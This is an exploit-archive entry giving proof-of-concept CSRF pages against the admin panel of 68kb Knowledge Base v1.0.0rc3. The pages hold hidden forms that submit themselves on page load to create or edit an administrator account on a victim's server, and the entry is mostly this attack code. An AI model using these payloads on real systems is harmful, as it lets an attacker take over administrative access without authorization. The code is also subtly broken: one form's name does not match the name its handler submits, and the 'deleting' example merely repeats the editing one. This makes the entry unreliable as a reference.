68kb 68KB Base 1.0.0rc3 - Cross-Site Request Forgery (Admin)

Author: Jelmer de Hen
type: webapps
platform: php
port: 
date_added: 2010-04-01  
date_updated: 2015-04-17  
verified: 0  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 12021.txt

Exploit Title: 68kb Knowledge Base v1.0.0rc3 create administrator account CSRF
Date: 2010-04-02
Author: Jelmer de Hen
Software Link: http://68kb.googlecode.com/files/68kb-v1.0.0rc3.zip
Version: v1.0.0rc3

<html>
<body onload="document.forms["edit"].submit()">
<form name="create" method="post" action="http://<server>/index.php/admin/users/add">
<input type=hidden name="username" value="JohnDoe">
<input type=hidden name="email" value="email">
<input type=hidden name="level" value="1">
<input type=hidden name="password" value="password">
<input type=hidden name="passconf" value="password">
</form>
</body>
</html>

Example of deleting an account:

<html>
<body onload="document.forms["edit"].submit()">
<form name="edit" method="post" action="http://<server>/index.php/admin/users/edit/1">
<input type=hidden name="username" value="JohnDoe">
<input type=hidden name="email" value="email">
<input type=hidden name="level" value="1">
<input type=hidden name="password" value="password">
<input type=hidden name="passconf" value="password">
<input type=hidden name="id" value="1">
</form>
</body>
</html>

Example of editing:

<html>
<body onload="document.forms["edit"].submit()">
<form name="edit" method="post" action="http://<server>/index.php/admin/users/edit/1">
<input type=hidden name="username" value="JohnDoe">
<input type=hidden name="email" value="email">
<input type=hidden name="level" value="1">
<input type=hidden name="password" value="password">
<input type=hidden name="passconf" value="password">
<input type=hidden name="id" value="1">
</form>
</body>
</html>